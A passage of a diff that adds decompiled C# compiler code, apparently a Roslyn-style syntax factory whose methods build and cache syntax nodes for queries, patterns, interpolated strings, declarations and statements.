SyntaxNodeCache.AddNode((GreenNode)(object)spreadElementSyntax, hash); + } + return spreadElementSyntax; + } + + public QueryExpressionSyntax QueryExpression(FromClauseSyntax fromClause, QueryBodySyntax body) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8774, (GreenNode)(object)fromClause, (GreenNode)(object)body, context, out hash); + if (val != null) + { + return (QueryExpressionSyntax)(object)val; + } + QueryExpressionSyntax queryExpressionSyntax = new QueryExpressionSyntax(SyntaxKind.QueryExpression, fromClause, body, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)queryExpressionSyntax, hash); + } + return queryExpressionSyntax; + } + + public QueryBodySyntax QueryBody(SyntaxList clauses, SelectOrGroupClauseSyntax selectOrGroup, QueryContinuationSyntax? continuation) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8775, clauses.Node, (GreenNode)(object)selectOrGroup, (GreenNode)(object)continuation, context, out hash); + if (val != null) + { + return (QueryBodySyntax)(object)val; + } + QueryBodySyntax queryBodySyntax = new QueryBodySyntax(SyntaxKind.QueryBody, clauses.Node, selectOrGroup, continuation, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)queryBodySyntax, hash); + } + return queryBodySyntax; + } + + public FromClauseSyntax FromClause(SyntaxToken fromKeyword, TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression) + { + return new FromClauseSyntax(SyntaxKind.FromClause, fromKeyword, type, identifier, inKeyword, expression, context); + } + + public LetClauseSyntax LetClause(SyntaxToken letKeyword, SyntaxToken identifier, SyntaxToken equalsToken, ExpressionSyntax expression) + { + return new LetClauseSyntax(SyntaxKind.LetClause, letKeyword, identifier, equalsToken, expression, context); + } + + public JoinClauseSyntax JoinClause(SyntaxToken joinKeyword, TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax inExpression, SyntaxToken onKeyword, ExpressionSyntax leftExpression, SyntaxToken equalsKeyword, ExpressionSyntax rightExpression, JoinIntoClauseSyntax? into) + { + return new JoinClauseSyntax(SyntaxKind.JoinClause, joinKeyword, type, identifier, inKeyword, inExpression, onKeyword, leftExpression, equalsKeyword, rightExpression, into, context); + } + + public JoinIntoClauseSyntax JoinIntoClause(SyntaxToken intoKeyword, SyntaxToken identifier) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8779, (GreenNode)(object)intoKeyword, (GreenNode)(object)identifier, context, out hash); + if (val != null) + { + return (JoinIntoClauseSyntax)(object)val; + } + JoinIntoClauseSyntax joinIntoClauseSyntax = new JoinIntoClauseSyntax(SyntaxKind.JoinIntoClause, intoKeyword, identifier, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)joinIntoClauseSyntax, hash); + } + return joinIntoClauseSyntax; + } + + public WhereClauseSyntax WhereClause(SyntaxToken whereKeyword, ExpressionSyntax condition) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8780, (GreenNode)(object)whereKeyword, (GreenNode)(object)condition, context, out hash); + if (val != null) + { + return (WhereClauseSyntax)(object)val; + } + WhereClauseSyntax whereClauseSyntax = new WhereClauseSyntax(SyntaxKind.WhereClause, whereKeyword, condition, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)whereClauseSyntax, hash); + } + return whereClauseSyntax; + } + + public OrderByClauseSyntax OrderByClause(SyntaxToken orderByKeyword, SeparatedSyntaxList orderings) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8781, (GreenNode)(object)orderByKeyword, orderings.Node, context, out hash); + if (val != null) + { + return (OrderByClauseSyntax)(object)val; + } + OrderByClauseSyntax orderByClauseSyntax = new OrderByClauseSyntax(SyntaxKind.OrderByClause, orderByKeyword, orderings.Node, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)orderByClauseSyntax, hash); + } + return orderByClauseSyntax; + } + + public OrderingSyntax Ordering(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken? ascendingOrDescendingKeyword) + { + if (kind - 8782 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)expression, (GreenNode)(object)ascendingOrDescendingKeyword, context, out hash); + if (val != null) + { + return (OrderingSyntax)(object)val; + } + OrderingSyntax orderingSyntax = new OrderingSyntax(kind, expression, ascendingOrDescendingKeyword, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)orderingSyntax, hash); + } + return orderingSyntax; + } + + public SelectClauseSyntax SelectClause(SyntaxToken selectKeyword, ExpressionSyntax expression) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8784, (GreenNode)(object)selectKeyword, (GreenNode)(object)expression, context, out hash); + if (val != null) + { + return (SelectClauseSyntax)(object)val; + } + SelectClauseSyntax selectClauseSyntax = new SelectClauseSyntax(SyntaxKind.SelectClause, selectKeyword, expression, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)selectClauseSyntax, hash); + } + return selectClauseSyntax; + } + + public GroupClauseSyntax GroupClause(SyntaxToken groupKeyword, ExpressionSyntax groupExpression, SyntaxToken byKeyword, ExpressionSyntax byExpression) + { + return new GroupClauseSyntax(SyntaxKind.GroupClause, groupKeyword, groupExpression, byKeyword, byExpression, context); + } + + public QueryContinuationSyntax QueryContinuation(SyntaxToken intoKeyword, SyntaxToken identifier, QueryBodySyntax body) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8786, (GreenNode)(object)intoKeyword, (GreenNode)(object)identifier, (GreenNode)(object)body, context, out hash); + if (val != null) + { + return (QueryContinuationSyntax)(object)val; + } + QueryContinuationSyntax queryContinuationSyntax = new QueryContinuationSyntax(SyntaxKind.QueryContinuation, intoKeyword, identifier, body, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)queryContinuationSyntax, hash); + } + return queryContinuationSyntax; + } + + public OmittedArraySizeExpressionSyntax OmittedArraySizeExpression(SyntaxToken omittedArraySizeExpressionToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8654, (GreenNode)(object)omittedArraySizeExpressionToken, context, out hash); + if (val != null) + { + return (OmittedArraySizeExpressionSyntax)(object)val; + } + OmittedArraySizeExpressionSyntax omittedArraySizeExpressionSyntax = new OmittedArraySizeExpressionSyntax(SyntaxKind.OmittedArraySizeExpression, omittedArraySizeExpressionToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)omittedArraySizeExpressionSyntax, hash); + } + return omittedArraySizeExpressionSyntax; + } + + public InterpolatedStringExpressionSyntax InterpolatedStringExpression(SyntaxToken stringStartToken, SyntaxList contents, SyntaxToken stringEndToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8655, (GreenNode)(object)stringStartToken, contents.Node, (GreenNode)(object)stringEndToken, context, out hash); + if (val != null) + { + return (InterpolatedStringExpressionSyntax)(object)val; + } + InterpolatedStringExpressionSyntax interpolatedStringExpressionSyntax = new InterpolatedStringExpressionSyntax(SyntaxKind.InterpolatedStringExpression, stringStartToken, contents.Node, stringEndToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)interpolatedStringExpressionSyntax, hash); + } + return interpolatedStringExpressionSyntax; + } + + public IsPatternExpressionSyntax IsPatternExpression(ExpressionSyntax expression, SyntaxToken isKeyword, PatternSyntax pattern) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8657, (GreenNode)(object)expression, (GreenNode)(object)isKeyword, (GreenNode)(object)pattern, context, out hash); + if (val != null) + { + return (IsPatternExpressionSyntax)(object)val; + } + IsPatternExpressionSyntax isPatternExpressionSyntax = new IsPatternExpressionSyntax(SyntaxKind.IsPatternExpression, expression, isKeyword, pattern, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)isPatternExpressionSyntax, hash); + } + return isPatternExpressionSyntax; + } + + public ThrowExpressionSyntax ThrowExpression(SyntaxToken throwKeyword, ExpressionSyntax expression) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9052, (GreenNode)(object)throwKeyword, (GreenNode)(object)expression, context, out hash); + if (val != null) + { + return (ThrowExpressionSyntax)(object)val; + } + ThrowExpressionSyntax throwExpressionSyntax = new ThrowExpressionSyntax(SyntaxKind.ThrowExpression, throwKeyword, expression, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)throwExpressionSyntax, hash); + } + return throwExpressionSyntax; + } + + public WhenClauseSyntax WhenClause(SyntaxToken whenKeyword, ExpressionSyntax condition) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9013, (GreenNode)(object)whenKeyword, (GreenNode)(object)condition, context, out hash); + if (val != null) + { + return (WhenClauseSyntax)(object)val; + } + WhenClauseSyntax whenClauseSyntax = new WhenClauseSyntax(SyntaxKind.WhenClause, whenKeyword, condition, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)whenClauseSyntax, hash); + } + return whenClauseSyntax; + } + + public DiscardPatternSyntax DiscardPattern(SyntaxToken underscoreToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9024, (GreenNode)(object)underscoreToken, context, out hash); + if (val != null) + { + return (DiscardPatternSyntax)(object)val; + } + DiscardPatternSyntax discardPatternSyntax = new DiscardPatternSyntax(SyntaxKind.DiscardPattern, underscoreToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)discardPatternSyntax, hash); + } + return discardPatternSyntax; + } + + public DeclarationPatternSyntax DeclarationPattern(TypeSyntax type, VariableDesignationSyntax designation) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9000, (GreenNode)(object)type, (GreenNode)(object)designation, context, out hash); + if (val != null) + { + return (DeclarationPatternSyntax)(object)val; + } + DeclarationPatternSyntax declarationPatternSyntax = new DeclarationPatternSyntax(SyntaxKind.DeclarationPattern, type, designation, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)declarationPatternSyntax, hash); + } + return declarationPatternSyntax; + } + + public VarPatternSyntax VarPattern(SyntaxToken varKeyword, VariableDesignationSyntax designation) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9027, (GreenNode)(object)varKeyword, (GreenNode)(object)designation, context, out hash); + if (val != null) + { + return (VarPatternSyntax)(object)val; + } + VarPatternSyntax varPatternSyntax = new VarPatternSyntax(SyntaxKind.VarPattern, varKeyword, designation, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)varPatternSyntax, hash); + } + return varPatternSyntax; + } + + public RecursivePatternSyntax RecursivePattern(TypeSyntax? type, PositionalPatternClauseSyntax? positionalPatternClause, PropertyPatternClauseSyntax? propertyPatternClause, VariableDesignationSyntax? designation) + { + return new RecursivePatternSyntax(SyntaxKind.RecursivePattern, type, positionalPatternClause, propertyPatternClause, designation, context); + } + + public PositionalPatternClauseSyntax PositionalPatternClause(SyntaxToken openParenToken, SeparatedSyntaxList subpatterns, SyntaxToken closeParenToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9023, (GreenNode)(object)openParenToken, subpatterns.Node, (GreenNode)(object)closeParenToken, context, out hash); + if (val != null) + { + return (PositionalPatternClauseSyntax)(object)val; + } + PositionalPatternClauseSyntax positionalPatternClauseSyntax = new PositionalPatternClauseSyntax(SyntaxKind.PositionalPatternClause, openParenToken, subpatterns.Node, closeParenToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)positionalPatternClauseSyntax, hash); + } + return positionalPatternClauseSyntax; + } + + public PropertyPatternClauseSyntax PropertyPatternClause(SyntaxToken openBraceToken, SeparatedSyntaxList subpatterns, SyntaxToken closeBraceToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9021, (GreenNode)(object)openBraceToken, subpatterns.Node, (GreenNode)(object)closeBraceToken, context, out hash); + if (val != null) + { + return (PropertyPatternClauseSyntax)(object)val; + } + PropertyPatternClauseSyntax propertyPatternClauseSyntax = new PropertyPatternClauseSyntax(SyntaxKind.PropertyPatternClause, openBraceToken, subpatterns.Node, closeBraceToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)propertyPatternClauseSyntax, hash); + } + return propertyPatternClauseSyntax; + } + + public SubpatternSyntax Subpattern(BaseExpressionColonSyntax? expressionColon, PatternSyntax pattern) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9022, (GreenNode)(object)expressionColon, (GreenNode)(object)pattern, context, out hash); + if (val != null) + { + return (SubpatternSyntax)(object)val; + } + SubpatternSyntax subpatternSyntax = new SubpatternSyntax(SyntaxKind.Subpattern, expressionColon, pattern, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)subpatternSyntax, hash); + } + return subpatternSyntax; + } + + public ConstantPatternSyntax ConstantPattern(ExpressionSyntax expression) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9002, (GreenNode)(object)expression, context, out hash); + if (val != null) + { + return (ConstantPatternSyntax)(object)val; + } + ConstantPatternSyntax constantPatternSyntax = new ConstantPatternSyntax(SyntaxKind.ConstantPattern, expression, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)constantPatternSyntax, hash); + } + return constantPatternSyntax; + } + + public ParenthesizedPatternSyntax ParenthesizedPattern(SyntaxToken openParenToken, PatternSyntax pattern, SyntaxToken closeParenToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9028, (GreenNode)(object)openParenToken, (GreenNode)(object)pattern, (GreenNode)(object)closeParenToken, context, out hash); + if (val != null) + { + return (ParenthesizedPatternSyntax)(object)val; + } + ParenthesizedPatternSyntax parenthesizedPatternSyntax = new ParenthesizedPatternSyntax(SyntaxKind.ParenthesizedPattern, openParenToken, pattern, closeParenToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)parenthesizedPatternSyntax, hash); + } + return parenthesizedPatternSyntax; + } + + public RelationalPatternSyntax RelationalPattern(SyntaxToken operatorToken, ExpressionSyntax expression) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9029, (GreenNode)(object)operatorToken, (GreenNode)(object)expression, context, out hash); + if (val != null) + { + return (RelationalPatternSyntax)(object)val; + } + RelationalPatternSyntax relationalPatternSyntax = new RelationalPatternSyntax(SyntaxKind.RelationalPattern, operatorToken, expression, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)relationalPatternSyntax, hash); + } + return relationalPatternSyntax; + } + + public TypePatternSyntax TypePattern(TypeSyntax type) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9030, (GreenNode)(object)type, context, out hash); + if (val != null) + { + return (TypePatternSyntax)(object)val; + } + TypePatternSyntax typePatternSyntax = new TypePatternSyntax(SyntaxKind.TypePattern, type, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)typePatternSyntax, hash); + } + return typePatternSyntax; + } + + public BinaryPatternSyntax BinaryPattern(SyntaxKind kind, PatternSyntax left, SyntaxToken operatorToken, PatternSyntax right) + { + if (kind - 9031 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)left, (GreenNode)(object)operatorToken, (GreenNode)(object)right, context, out hash); + if (val != null) + { + return (BinaryPatternSyntax)(object)val; + } + BinaryPatternSyntax binaryPatternSyntax = new BinaryPatternSyntax(kind, left, operatorToken, right, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)binaryPatternSyntax, hash); + } + return binaryPatternSyntax; + } + + public UnaryPatternSyntax UnaryPattern(SyntaxToken operatorToken, PatternSyntax pattern) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9033, (GreenNode)(object)operatorToken, (GreenNode)(object)pattern, context, out hash); + if (val != null) + { + return (UnaryPatternSyntax)(object)val; + } + UnaryPatternSyntax unaryPatternSyntax = new UnaryPatternSyntax(SyntaxKind.NotPattern, operatorToken, pattern, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)unaryPatternSyntax, hash); + } + return unaryPatternSyntax; + } + + public ListPatternSyntax ListPattern(SyntaxToken openBracketToken, SeparatedSyntaxList patterns, SyntaxToken closeBracketToken, VariableDesignationSyntax? designation) + { + return new ListPatternSyntax(SyntaxKind.ListPattern, openBracketToken, patterns.Node, closeBracketToken, designation, context); + } + + public SlicePatternSyntax SlicePattern(SyntaxToken dotDotToken, PatternSyntax? pattern) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9034, (GreenNode)(object)dotDotToken, (GreenNode)(object)pattern, context, out hash); + if (val != null) + { + return (SlicePatternSyntax)(object)val; + } + SlicePatternSyntax slicePatternSyntax = new SlicePatternSyntax(SyntaxKind.SlicePattern, dotDotToken, pattern, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)slicePatternSyntax, hash); + } + return slicePatternSyntax; + } + + public InterpolatedStringTextSyntax InterpolatedStringText(SyntaxToken textToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8919, (GreenNode)(object)textToken, context, out hash); + if (val != null) + { + return (InterpolatedStringTextSyntax)(object)val; + } + InterpolatedStringTextSyntax interpolatedStringTextSyntax = new InterpolatedStringTextSyntax(SyntaxKind.InterpolatedStringText, textToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)interpolatedStringTextSyntax, hash); + } + return interpolatedStringTextSyntax; + } + + public InterpolationSyntax Interpolation(SyntaxToken openBraceToken, ExpressionSyntax expression, InterpolationAlignmentClauseSyntax? alignmentClause, InterpolationFormatClauseSyntax? formatClause, SyntaxToken closeBraceToken) + { + return new InterpolationSyntax(SyntaxKind.Interpolation, openBraceToken, expression, alignmentClause, formatClause, closeBraceToken, context); + } + + public InterpolationAlignmentClauseSyntax InterpolationAlignmentClause(SyntaxToken commaToken, ExpressionSyntax value) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8920, (GreenNode)(object)commaToken, (GreenNode)(object)value, context, out hash); + if (val != null) + { + return (InterpolationAlignmentClauseSyntax)(object)val; + } + InterpolationAlignmentClauseSyntax interpolationAlignmentClauseSyntax = new InterpolationAlignmentClauseSyntax(SyntaxKind.InterpolationAlignmentClause, commaToken, value, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)interpolationAlignmentClauseSyntax, hash); + } + return interpolationAlignmentClauseSyntax; + } + + public InterpolationFormatClauseSyntax InterpolationFormatClause(SyntaxToken colonToken, SyntaxToken formatStringToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8921, (GreenNode)(object)colonToken, (GreenNode)(object)formatStringToken, context, out hash); + if (val != null) + { + return (InterpolationFormatClauseSyntax)(object)val; + } + InterpolationFormatClauseSyntax interpolationFormatClauseSyntax = new InterpolationFormatClauseSyntax(SyntaxKind.InterpolationFormatClause, colonToken, formatStringToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)interpolationFormatClauseSyntax, hash); + } + return interpolationFormatClauseSyntax; + } + + public GlobalStatementSyntax GlobalStatement(SyntaxList attributeLists, SyntaxList modifiers, StatementSyntax statement) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8841, attributeLists.Node, modifiers.Node, (GreenNode)(object)statement, context, out hash); + if (val != null) + { + return (GlobalStatementSyntax)(object)val; + } + GlobalStatementSyntax globalStatementSyntax = new GlobalStatementSyntax(SyntaxKind.GlobalStatement, attributeLists.Node, modifiers.Node, statement, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)globalStatementSyntax, hash); + } + return globalStatementSyntax; + } + + public BlockSyntax Block(SyntaxList attributeLists, SyntaxToken openBraceToken, SyntaxList statements, SyntaxToken closeBraceToken) + { + return new BlockSyntax(SyntaxKind.Block, attributeLists.Node, openBraceToken, statements.Node, closeBraceToken, context); + } + + public LocalFunctionStatementSyntax LocalFunctionStatement(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new LocalFunctionStatementSyntax(SyntaxKind.LocalFunctionStatement, attributeLists.Node, modifiers.Node, returnType, identifier, typeParameterList, parameterList, constraintClauses.Node, body, expressionBody, semicolonToken, context); + } + + public LocalDeclarationStatementSyntax LocalDeclarationStatement(SyntaxList attributeLists, SyntaxToken? awaitKeyword, SyntaxToken? usingKeyword, SyntaxList modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + return new LocalDeclarationStatementSyntax(SyntaxKind.LocalDeclarationStatement, attributeLists.Node, awaitKeyword, usingKeyword, modifiers.Node, declaration, semicolonToken, context); + } + + public VariableDeclarationSyntax VariableDeclaration(TypeSyntax type, SeparatedSyntaxList variables) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8794, (GreenNode)(object)type, variables.Node, context, out hash); + if (val != null) + { + return (VariableDeclarationSyntax)(object)val; + } + VariableDeclarationSyntax variableDeclarationSyntax = new VariableDeclarationSyntax(SyntaxKind.VariableDeclaration, type, variables.Node, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)variableDeclarationSyntax, hash); + } + return variableDeclarationSyntax; + } + + public VariableDeclaratorSyntax VariableDeclarator(SyntaxToken identifier, BracketedArgumentListSyntax? argumentList, EqualsValueClauseSyntax? initializer) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8795, (GreenNode)(object)identifier, (GreenNode)(object)argumentList, (GreenNode)(object)initializer, context, out hash); + if (val != null) + { + return (VariableDeclaratorSyntax)(object)val; + } + VariableDeclaratorSyntax variableDeclaratorSyntax = new VariableDeclaratorSyntax(SyntaxKind.VariableDeclarator, identifier, argumentList, initializer, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)variableDeclaratorSyntax, hash); + } + return variableDeclaratorSyntax; + } + + public EqualsValueClauseSyntax EqualsValueClause(SyntaxToken equalsToken, ExpressionSyntax value) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8796, (GreenNode)(object)equalsToken, (GreenNode)(object)value, context, out hash); + if (val != null) + { + return (EqualsValueClauseSyntax)(object)val; + } + EqualsValueClauseSyntax equalsValueClauseSyntax = new EqualsValueClauseSyntax(SyntaxKind.EqualsValueClause, equalsToken, value, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)equalsValueClauseSyntax, hash); + } + return equalsValueClauseSyntax; + } + + public SingleVariableDesignationSyntax SingleVariableDesignation(SyntaxToken identifier) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8927, (GreenNode)(object)identifier, context, out hash); + if (val != null) + { + return (SingleVariableDesignationSyntax)(object)val; + } + SingleVariableDesignationSyntax singleVariableDesignationSyntax = new SingleVariableDesignationSyntax(SyntaxKind.SingleVariableDesignation, identifier, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)singleVariableDesignationSyntax, hash); + } + return singleVariableDesignationSyntax; + } + + public DiscardDesignationSyntax DiscardDesignation(SyntaxToken underscoreToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9014, (GreenNode)(object)underscoreToken, context, out hash); + if (val != null) + { + return (DiscardDesignationSyntax)(object)val; + } + DiscardDesignationSyntax discardDesignationSyntax = new DiscardDesignationSyntax(SyntaxKind.DiscardDesignation, underscoreToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)discardDesignationSyntax, hash); + } + return discardDesignationSyntax; + } + + public ParenthesizedVariableDesignationSyntax ParenthesizedVariableDesignation(SyntaxToken openParenToken, SeparatedSyntaxList variables, SyntaxToken closeParenToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8928, (GreenNode)(object)openParenToken, variables.Node, (GreenNode)(object)closeParenToken, context, out hash); + if (val != null) + { + return (ParenthesizedVariableDesignationSyntax)(object)val; + } + ParenthesizedVariableDesignationSyntax parenthesizedVariableDesignationSyntax = new ParenthesizedVariableDesignationSyntax(SyntaxKind.ParenthesizedVariableDesignation, openParenToken, variables.Node, closeParenToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)parenthesizedVariableDesignationSyntax, hash); + } + return parenthesizedVariableDesignationSyntax; + } + + public ExpressionStatementSyntax ExpressionStatement(SyntaxList attributeLists, ExpressionSyntax expression, SyntaxToken semicolonToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8797, attributeLists.Node, (GreenNode)(object)expression, (GreenNode)(object)semicolonToken, context, out hash); + if (val != null) + { + return (ExpressionStatementSyntax)(object)val; + } + ExpressionStatementSyntax expressionStatementSyntax = new ExpressionStatementSyntax(SyntaxKind.ExpressionStatement, attributeLists.Node, expression, semicolonToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)expressionStatementSyntax, hash); + } + return expressionStatementSyntax; + } + + public EmptyStatementSyntax EmptyStatement(SyntaxList attributeLists, SyntaxToken semicolonToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8798, attributeLists.Node, (GreenNode)(object)semicolonToken, context, out hash); + if (val != null) + { + return (EmptyStatementSyntax)(object)val; + } + EmptyStatementSyntax emptyStatementSyntax = new EmptyStatementSyntax(SyntaxKind.EmptyStatement, attributeLists.Node, semicolonToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)emptyStatementSyntax, hash); + } + return emptyStatementSyntax; + } + + public LabeledStatementSyntax LabeledStatement(SyntaxList attributeLists, SyntaxToken identifier, SyntaxToken colonToken, StatementSyntax statement) + { + return new LabeledStatementSyntax(SyntaxKind.LabeledStatement, attributeLists.Node, identifier, colonToken, statement, context); + } + + public GotoStatementSyntax GotoStatement(SyntaxKind kind, SyntaxList attributeLists, SyntaxToken gotoKeyword, SyntaxToken? caseOrDefaultKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + if (kind - 8800 > (SyntaxKind)2) + { + throw new ArgumentException("kind"); + } + return new GotoStatementSyntax(kind, attributeLists.Node, gotoKeyword, caseOrDefaultKeyword, expression, semicolonToken, context); + } + + public BreakStatementSyntax BreakStatement(SyntaxList attributeLists, SyntaxToken breakKeyword, SyntaxToken semicolonToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8803, attributeLists.Node, (GreenNode)(object)breakKeyword, (GreenNode)(object)semicolonToken, context, out hash); + if (val != null) + { + return (BreakStatementSyntax)(object)val; + } + BreakStatementSyntax breakStatementSyntax = new BreakStatementSyntax(SyntaxKind.BreakStatement, attributeLists.Node, breakKeyword, semicolonToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)breakStatementSyntax, hash); + } + return breakStatementSyntax; + } + + public ContinueStatementSyntax ContinueStatement(SyntaxList attributeLists, SyntaxToken continueKeyword, SyntaxToken semicolonToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8804, attributeLists.Node, (GreenNode)(object)continueKeyword, (GreenNode)(object)semicolonToken, context, out hash); + if (val != null) + { + return (ContinueStatementSyntax)(object)val; + } + ContinueStatementSyntax continueStatementSyntax = new ContinueStatementSyntax(SyntaxKind.ContinueStatement, attributeLists.Node, continueKeyword, semicolonToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)continueStatementSyntax, hash); + } + return continueStatementSyntax; + } + + public ReturnStatementSyntax ReturnStatement(SyntaxList attributeLists, SyntaxToken returnKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + return new ReturnStatementSyntax(SyntaxKind.ReturnStatement, attributeLists.Node, returnKeyword, expression, semicolonToken, context); + } + + public ThrowStatementSyntax ThrowStatement(SyntaxList attributeLists, SyntaxToken throwKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + return new ThrowStatementSyntax(SyntaxKind.ThrowStatement, attributeLists.Node, throwKeyword, expression, semicolonToken, context); + } + + public YieldStatementSyntax YieldStatement(SyntaxKind kind, SyntaxList attributeLists, SyntaxToken yieldKeyword, SyntaxToken returnOrBreakKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + if (kind - 8806 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + return new YieldStatementSyntax(kind, attributeLists.Node, yieldKeyword, returnOrBreakKeyword, expression, semicolonToken, context); + } + + public WhileStatementSyntax WhileStatement(SyntaxList attributeLists, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement) + { + return new WhileStatementSyntax(SyntaxKind.WhileStatement, attributeLists.Node, whileKeyword, openParenToken, condition, closeParenToken, statement, context); + } + + public DoStatementSyntax DoStatement(SyntaxList attributeLists, SyntaxToken doKeyword, StatementSyntax statement, SyntaxToken whileKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, SyntaxToken semicolonToken) + { + return new DoStatementSyntax(SyntaxKind.DoStatement, 